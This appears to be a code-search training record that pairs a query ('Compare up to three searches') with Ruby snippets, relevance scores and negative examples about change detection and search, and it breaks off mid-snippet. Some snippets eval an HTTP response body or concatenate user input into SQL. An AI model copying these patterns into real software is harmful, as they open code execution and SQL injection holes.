\"_antibloqueo tags has changed\" \n end \n \n # _labels\n unless body[:_labels].size == 6\n changed = \"_labels tags has changed\" \n end\n \n # _timestamp\n unless body[:_timestamp].size == 7\n changed = \"_timestamp tags has changed\" \n end\n \n # USD\n unless body[:USD].size == 12\n changed = \"USD tags has changed\" \n end\n \n # EUR\n unless body[:EUR].size == 11\n changed = \"EUR tags has changed\" \n end\n \n # COL\n unless body[:COL].size == 4\n changed = \"COL tags has changed\" \n end\n \n # GOLD\n unless body[:GOLD].size == 1\n changed = \"GOLD tags has changed\" \n end\n \n # USDVEF\n unless body[:USDVEF].size == 1\n changed = \"USDVEF tags has changed\" \n end\n \n # USDCOL\n unless body[:USDCOL].size == 7\n changed = \"USDCOL tags has changed\" \n end\n \n # EURUSD\n unless body[:EURUSD].size == 1\n changed = \"EURUSD tags has changed\" \n end\n \n # BCV\n unless body[:BCV].size == 4\n changed = \"BCV tags has changed\" \n end\n \n # MISC\n unless body[:MISC].size == 2\n changed = \"MISC tags has changed\" \n end\n\n return changed\n end", "def changed?\n if update_type == :no_change\n false\n else\n true\n end\n end", "def has_changes?\n @has_changed_the_db\n end", "def modified?\r\n @modified\r\n end", "def changed\n @status = true\n end", "def datacite_metadata_changed? metadata=nil\n return true if datacite_document.nil?\n metadata||=doi_metadata\n metadata=JSON.parse(metadata.to_json) if metadata.key? :title\n old_metadata=JSON.parse(datacite_document)\n return metadata!=old_metadata\n end", "def changed?\n mutations_from_database.any_changes?\n end", "def changed?\n !!@previous\n end", "def modified?\n @modified\n end", "def has_changes?\n (@edited_rows_codes.count > 0) || (@destroyed_rows_codes.count > 0)\n end", "def outdated; end", "def changed?\n changed = \"false\" \n uri = URI('https://api.bitcoinvenezuela.com/')\n res = Net::HTTP.get_response(uri)\n body = eval(res.body)\n \n # 6 mayor tags: time, BTC, LTC, exchange_rates, LocalBitcoins_coupons, variations\n unless body.size == 6 \n changed = \"One on the mayor tags has changed\" \n end \n \n # time: timestamp\n unless body[:time].size == 1 \n changed = \"Timestamp tag has changed\" \n end\n # BTC: USD, EUR, VEF, ARS, BTC\n unless body[:BTC].size == 5\n changed = \"BTC tag fields values have changed\" \n end\n \n # LTC: USD, EUR, VEF, ARS, BTC\n unless body[:LTC].size == 5\n changed = \"LTC tag fields Values have changed\" \n end\n \n # exchange_rates: EUR_USD, VEF_USD, ARS_USD, XVE_USD, XVE_EUR, XAR_USD\n unless body[:exchange_rates].size == 6 \n changed = \"exchange_rates tag fields Values have changed\" \n end\n \n # LocalBitcoins_coupons: USD, XVE\n unless body[:LocalBitcoins_coupons].size == 2 \n changed = \"LocalBitcoins_coupons tag fields Values have changed\" \n end\n \n # variations: BTC, LTC\n unless body[:variations].size == 2\n changed = \"variations tag fields Values have changed\" \n end\n \n return changed\n end", "def modified?\n\t\t@modified\n\tend", "def card_content_changed?\n (%w(front back) & changes_to_save.keys).present?\n end", "def changed?\n !head || head.id != read_head_id\n end", "def changed?\n instance.changed.include? \"#{name}_identifier\"\n end", "def store_changed?(before, after)\n HashDiff.diff(before, after).count > 0\nend", "def has_changes?\n @has_updated || @has_created\n end", "def changed?(key)\n changed.has_key?(key)\n end", "def changed?(key)\n changed.has_key?(key)\n end", "def changed?\n head.nil? or head.id != read_head_id\n end", "def changed?\n !changed_attributes.empty?\n end", "def dirty\n data\n end", "def modified?\n @modified\n end", "def modified?\n @modified\n end", "def engine_notify_datas_updated(datas_updated)\n end", "def check_for_structure_changes!\n watched_fields = db.query(\"DESC #{watched}\").to_a\n audit_fields = db.query(\"DESC #{audit}\").to_a\n delta = watched_fields - audit_fields\n delta = [delta, (audit_fields - watched_fields).reject { |i| METADATA_FIELDS.include?(i['Field']) }].flatten\n metadata_present = METADATA_FIELDS.all? { |f| (audit_fields - watched_fields).map { |i| i['Field'] }.include?(f) }\n\n if !delta.empty?\n raise \"Structure has changed for table '#{name}'!\"\n elsif !metadata_present\n missing_fields = METADATA_FIELDS - (audit_fields - watched_fields).map { |i| i['Field'] }\n raise \"Missing meta-data fields in audit table '#{name}' : #{missing_fields.join(', ')}.\"\n else\n logger.info \"Audit table #{name} is up to date.\"\n end\n end", "def local_changed?\n # TODO\n end", "def dirty?\n @changes.length > 0\n end", "def anything_changed?\n self.changed? || collection_anything_changed([self.general_fields, self.input_parameters, self.method_fields])\n end", "def changed\n return added + removed unless added.nil? || removed.nil?\n return added unless added.nil?\n return removed unless removed.nil?\n end", "def emit_changed(stuff) \n\t\tif stuff == nil\n\t\t\t@changed_handler.call(RangeList.new((0...num_lines)))\n\t\telse\n\t\t\t@changed_handler.call(RangeList.new(stuff))\n\t\tend\n\tend", "def changed_notably?\n if ignored_attr_has_changed?\n timestamps = @record.send(:timestamp_attributes_for_update_in_model).map(&:to_s)\n (notably_changed - timestamps).any?\n else\n notably_changed.any?\n end\n end", "def dirty?\n @changes && @changes.size > 0\n end", "def on_data_changed; end", "def changed?; not pristine?; end", "def changed? \n @values.any { |v| v.changed? || v.deleted? }\n end", "def dirty; end", "def modified?\n new? || @content\n end", "def stamp_changed\n return unless changed?\n\n self.dateChanged = Time.now\n self.changedBy = ApplicationController.application_name\n end", "def any_updates?\n change_history.size > 1\n end", "def any_updates?\n change_history.size > 1\n end", "def changed?(other)\n !unchanged?(other)\n end", "def save_version?\n\t\t\t \t\tchanged?\n\t\t\t \tend", "def modified?( original )\n DATA_ATTRIBUTES.any? { |e| send( e ) != original.send( e )}\n end", "def modified?\n\t\treturn @dirty ? true : false\n\tend", "def changed_notably?\n if @is_touch && changes_in_latest_version.empty?\n true\n else\n super\n end\n end", "def changes\n @changes ||= Set.new\n end", "def changes\n @changes ||= Set.new\n end", "def design_unchanged?(design, content)\n content == existing_blobs[design]&.data\n end", "def diff_edits_from_empty\n diff_edits(true)\n end", "def mark_unchanged\r\n @changed = false\r\n end", "def outdated?; end", "def changes\n poll(\"Changes\")\n end", "def changes\n additions + deletions\n end", "def modified?\n new?\n end", "def updated?(new_payload)\n payload != new_payload\n end", "def has_changes?\r\n @source_files.size > 0\r\n end", "def changed?\n self.event_state.include? :changed\n end", "def changed?\n eav_attributes.each do |attribute|\n return true if ( attribute.changed? || attribute.new_record? )\n end\n\n super\n end", "def modified?\n getvalue() != @original_value\n end", "def modified?\n getvalue() != @original_value\n end", "def amended?\n @doc.at_xpath('/a:akomaNtoso/a:act', a: NS)['contains'] != 'originalVersion'\n end", "def any_changes?\n @counters.empty? || all_counters.any?(&:value_changed?)\n end", "def changed? tag=false\n if tag\n @changed_values.include? tag\n else\n !@changed_values.empty?\n end\n end", "def saved_version_changes?\n track_altered_attributes ? (version_if_changed - saved_changes.keys).length < version_if_changed.length : saved_changes? # rubocop:disable Layout/LineLength\n end", "def was_changed?\n attributes = get_attributes \n previous_revision = self.last_revision\n return true unless previous_revision\n \n # Check page attributes for changing\n attributes.each do |field, value|\n return true if value.to_s != previous_revision[field].to_s\n end\n \n return false\n end", "def changed_in_place?(raw_old_value, new_value)\n deserialize(raw_old_value) != new_value\n end", "def changed_in_place?(raw_old_value, new_value)\n deserialize(raw_old_value) != new_value\n end", "def last_changes\n pred = self.pred\n changes_against(pred) if pred\n end", "def last_changes\n pred = self.pred\n changes_against(pred) if pred\n end", "def detect_changed(skip_channel)\n not_added_or_removed = @previous_ids & @current_ids\n\n not_added_or_removed.each do |id|\n if @previous_results_hash[id] != (data = @results_hash[id])\n # Data hash changed\n @live_query.notify_changed(id, data, skip_channel)\n end\n end\n end", "def changed?\n return true if attributes_changed?\n return true if associations_changed?\n false\n end", "def changed?(key = nil)\n if key.nil?\n changes.any?\n else\n changes.include?(key)\n end\n end", "def changed?(key = nil)\n if key.nil?\n changes.any?\n else\n changes.include?(key)\n end\n end", "def anything_changed?\n @any_changes ||=\n ! @status.match(/nothing to commit.*working directory clean/)\n end", "def append_changes_to_existing_text\n return @append_changes_to_existing_text\n end", "def changed?\n\t\tchanged = (@price_new != @price_old)\n\t\t@price_old = @price_new\n\t\treturn changed\n\tend", "def mark_modified\n @modified = true\n nil\n end" ]
[ "0.7312819", "0.70367277", "0.68903047", "0.6858046", "0.684812", "0.67673755", "0.67623836", "0.67376137", "0.67284167", "0.6716941", "0.6685793", "0.6674665", "0.66691136", "0.66096383", "0.6607686", "0.6600845", "0.6529627", "0.6521062", "0.6517808", "0.64763397", "0.64019895", "0.63893694", "0.6335172", "0.632169", "0.6315348", "0.62845343", "0.6277725", "0.6274965", "0.62694335", "0.62613225", "0.6257996", "0.6257092", "0.6248283", "0.6235319", "0.6218066", "0.61978924", "0.61893946", "0.6172414", "0.61705226", "0.6139763", "0.61359936", "0.61359936", "0.6130658", "0.61282414", "0.6120722", "0.6119429", "0.6119429", "0.60994565", "0.6095514", "0.6090427", "0.6088075", "0.608131", "0.6081111", "0.6080162", "0.60771763", "0.60536385", "0.6046004", "0.60438395", "0.6043148", "0.6037909", "0.60042", "0.600115", "0.59660727", "0.59660727", "0.5959989", "0.59577066", "0.5952965", "0.595218", "0.5945578", "0.59313774", "0.59313774", "0.59111345", "0.5906952", "0.590588", "0.5902433", "0.589276", "0.5867946", "0.58582115", "0.584851", "0.5844784", "0.58284163", "0.5823026", "0.57945526", "0.57945526", "0.57899845", "0.578885", "0.57859385", "0.5782411", "0.57811826", "0.57805896", "0.57805896", "0.57776856", "0.5776837", "0.5768214", "0.57621616", "0.57616687", "0.57616687", "0.5759086", "0.5758134", "0.5756522", "0.57503814" ]
0.0
-1
Compare up to three searches
def compare #https://github.com/superjustin/zip-codes-for-rails @compare = Search.limit(3).find(params[:compare]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def multiple_search?\n\t\t@attempts > 1\n\tend", "def near_match\n (0..3).each do |guess_index|\n compare_for_near_match(guess_index)\n end\n end", "def searching\n \t@temp = Account.all\n \t@own_temp = Account.find_by_aid(session[:id])\n \[email protected](@own_temp)\n \t\n \t@after_lowercase = (params[:search][:search_input]).downcase\n \t@splited = @after_lowercase.split\n \t@first_s = params[:search]\n \t@second_s = params[:search_input]\n \n \t@result = Array.new\n \t\n \tif (@splited.size() > 2)\n \t\t\tflash[:error] = \"Too many arguments... follow this format : first_name last_name\"\n \t\t\tredirect_to :action => :profile\n \telsif (@splited.size() == 0)\n \t\t\tflash[:error] = \"I need at least one argument!!\"\n \t\t\tredirect_to :action => :profile\n \t\t\t/(jon){1}/\n \t\t\t\n \telsif (@splited.size() == 1) \t\n \t\[email protected] do |re| \n \t\t\tif (re.first_name.downcase =~ /#{@splited[0]}{1}/)\n \t\t\t\[email protected](re)\n \t\t\telsif (re.last_name.downcase =~ /#{@splited[0]}{1}/ && false == @result.include?(re))\n \t\t\t\[email protected](re)\n \t\t\tend\n \t\tend\n \telsif (@splited.size() == 2)\t\n \t\[email protected] do |re|\n \t\t\tif (re.first_name.downcase =~ /#{@splited[0]}{1}/ || re.last_name.downcase =~ /#{@splited[1]}{1}/)\n \t\t\t\[email protected](re)\n \t\t\tend\n \t\tend\n \t\n \tend\n \t\n\n \tif @result == nil\n \t\t\tflash[:error] = \"no match\"\n \t\t\tredirect_to :action => :profile\n \tend\n\n end", "def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end", "def compare\n unless params[:giftsearch]\n redirect_to :back\n end\n #create the empty array which will eventuall hold the compared products\n array = []\n #get all the params from the giftsearch, store in two variables\n params[:giftsearch].each do |key,value|\n # if a value is present put it in the array\n if (value == \"1\")\n array << key\n end\n end\n #if the array is not the required size, tell the customer !\n if array.size < 1 || array.size > 3\n flash[:alert] = \"You must compare between 1 and three different products\"\n redirect :back\n end\n # Product id is the array value\n @compare = Product.where({:id => array}).includes(:supplier)\n end", "def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end", "def test_like_two_search_condition\n search_conditions = [[\"Wes\", :like],[\"Hays\", :like]]\n query_fields = {'some_table.first_name' => :string,'some_table.last_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n fields = ['first_name','last_name']\n regExs = [build_regex_for_like(fields,'keyword_0'), \n build_regex_for_like(fields,'keyword_1')].join('[ ]AND[ ]')\n \n assert_match /^#{regExs}$/, conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n assert_equal '%Hays%', conditions.last[:keyword_1]\n end", "def match_maker(criteria, *sets)\n #go through each of the sets, in bulk of two\n score = []\n i = 0\n\n while i < sets.length do\n score << false if criteria == true and !!sets[i] == !!sets[i+1]\n score << true if criteria == false and !!sets[i] == !!sets[i+1]\n score << true if criteria == true and !!sets[i] != !!sets[i+1]\n score << false if criteria == false and !!sets[i]!= !!sets[i+1]\n i += 2\n end\n return score\nend", "def bubble_up_exact_matches(result_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n result_list.each do |result_item|\n next if result_item.blank?\n\n name = result_item['name'].downcase\n if name.start_with?(match_term)\n matches_at_beginning << result_item\n elsif name.include?(match_term)\n matches_within << result_item\n else\n other_items << result_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end", "def bubble_up_exact_matches(result_list:, term:)\n exact_match = []\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n result_list.each do |result_item|\n name = result_item[:title].downcase\n if name == match_term\n exact_match << result_item\n elsif name.start_with?(match_term)\n matches_at_beginning << result_item\n elsif name.include?(match_term)\n matches_within << result_item\n else\n other_items << result_item\n end\n end\n exact_match + matches_at_beginning + matches_within + other_items\n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\[email protected] do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\[email protected] do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def test_find_mutiple_items\n result = find_multiple_items(@warehouse_data,[:b7, :a3, :a7])\n assert_equal([\"bath fizzers\",\"blouse\",\"bookmark\"],result)\n\nend", "def search(search,compare,year,rain_fall_type)\n \n # if block starts here\n if search == \"All\"\n # if block starts here\n if rain_fall_type == \"All\"\n where(Year: year).order('id ')\n else\n where(Year: year).order(\"#{rain_fall_type} \")\n end\n # if block end here\n elsif compare == \"Bihar vs District\"\n where(\"Districts = ? OR Districts = ?\", search, \"Bihar\").where(\"year = ?\", year).order(:id)\n else\n # if block starts here\n \n if rain_fall_type == \"All\"\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(:id)\n else\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(rain_fall_type)\n end\n # if block end here\n \n end\n # if block end here\n \n \n end", "def return_exact_results\n\t# make empty array that will contain all users whose first_name, last_name, or email exactly matches a given string\n\texact_search_results = []\n\n\tUser.all.each do |user|\n\t\tif user.first_name == user.search_term || user.last_name == search_term || user.email == search_term\n\t\t\texact_search_results.push user.id\n\t\telse\n\t\t\t# do nothing if search term is not exactly\n\t\tend\n\tend\n\texact_search_results\nend", "def probable_matching(ingredient_long_name,item)\n return (item.downcase.split(\" \") & ingredient_long_name.split(\" \")).size >= 2\nend", "def search\n\n end", "def search; end", "def find_potential_matches\n comp_words.each_with_object([]) do |comp_word, collection|\n next if comp_word == word\n\n tokenized_comp_word = tokenize_string(comp_word)\n common_token_count = (tokenized_word & tokenized_comp_word).count\n similarity = (2 * common_token_count) / (word.length + comp_word.length).to_f\n collection << comp_word if similarity > PRECISION\n end\n end", "def match_states(query); end", "def find_payments\n @specific_search = true\n @match_po_ref.empty? or return do_pay_ref\n @match_inv_num.empty? or return do_inv_num\n @match_their_po_ref.empty? or return do_their_po\n \n @specific_search = false\n return do_all_pos\n end", "def qualified_candidates (collection)\n match=[]\n \n collection.each do |x|\n if years_of_experience(x[:years_of_experience]) && github_points(x[:github_points]) && knowledge(x[:languages]) && applied_time(x[:date_applied]) && old_enough(x[:age])\n match << (x)\n end\n end\n\n match\nend", "def suggest_other_query(items, query)\n query = query.gsub(/_/,\" \").downcase\n\n distance_levenshtein = 100\n longest_subseq = 0\n word = \"\"\n\n matcher1 = Amatch::Levenshtein.new(query)\n matcher2 = Amatch::LongestSubsequence.new(query)\n\n items.each{ |item|\n name_array = item.name.downcase.split\n name_array.push(item.name.downcase)\n\n new_distance_array_levenshtein = matcher1.match(name_array).sort\n new_longest_subseq_array = matcher2.match(name_array).sort.reverse\n\n if new_distance_array_levenshtein[0] < distance_levenshtein and new_longest_subseq_array[0] >= longest_subseq\n word = item.name\n distance_levenshtein = new_distance_array_levenshtein[0]\n longest_subseq = new_longest_subseq_array[0]\n end\n\n }\n\n if distance_levenshtein <= 3 and longest_subseq >=2\n self.closest_string = word\n end\n\n end", "def search(*rules); end", "def search(*rules); end", "def compare_by_revelance(query, product1, product2)\n return 0 if query.blank?\n \n words = query.split(/[ \\t\\n\\r]/)\n \n name1 = product1.name.split(/[ \\t\\n\\r]/)\n hits1 = words.select {|word| name1.include?(word)}\n \n name2 = product2.name.split(/[ \\t\\n\\r]/)\n hits2 = words.select {|word| name2.include?(word)}\n \n hits1.size <=> hits2.size\n end", "def search(query)\n name_match = PRODUCTS.select do |name, price|\n name[:name].downcase.include?(query[:q])\n end\n\n name_match.select do |product|\n product[:price] >= query[:price_min] && product[:price] <= query[:price_max]\n end\nend", "def life_threatening_condition\n search_string = (params[:search_string] || '').upcase\n\n aconcept_set = []\n\n common_answers = Observation.find_most_common(ConceptName.find_by_name(\"Life threatening condition\").concept, search_string)\n concept_set(\"Life threatening condition\").each{|concept| aconcept_set << concept.uniq.join() rescue \"test\"}\n set = (common_answers + aconcept_set.sort).uniq\n set.map!{|cc| cc.upcase.include?(search_string)? cc : nil}\n\n set = set.sort rescue []\n render plain: (\"<li></li>\" + \"<li>\" + set.join(\"</li><li>\") + \"</li>\").html_safe\n\n end", "def got_three? a\n b = a.uniq.sort\n arr = []\n x = 0\n while x < b.count\n c = (b[x].to_s + ' ') * 2 + b[x].to_s\n arr << (a.join(\" \").include? c) \n x = x + 1\n end\n arr.include? true\nend", "def test_compare\n tests = [ \\\n {:symbol=>Qualifier::EQUAL, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::EQUAL, :left=>'yes', :right=>'no', :expected=>false},\n {:symbol=>Qualifier::NOT_EQUAL, :left=>'yes', :right=>'no', :expected=>true},\n {:symbol=>Qualifier::NOT_EQUAL, :left=>'yes', :right=>'yes', :expected=>false},\n {:symbol=>Qualifier::GREATER, :left=>2, :right=>1, :expected=>true},\n {:symbol=>Qualifier::GREATER, :left=>2, :right=>2, :expected=>false},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>2, :right=>1, :expected=>true},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>2, :right=>2, :expected=>true},\n {:symbol=>Qualifier::GREATER_OR_EQUAL, :left=>1, :right=>2, 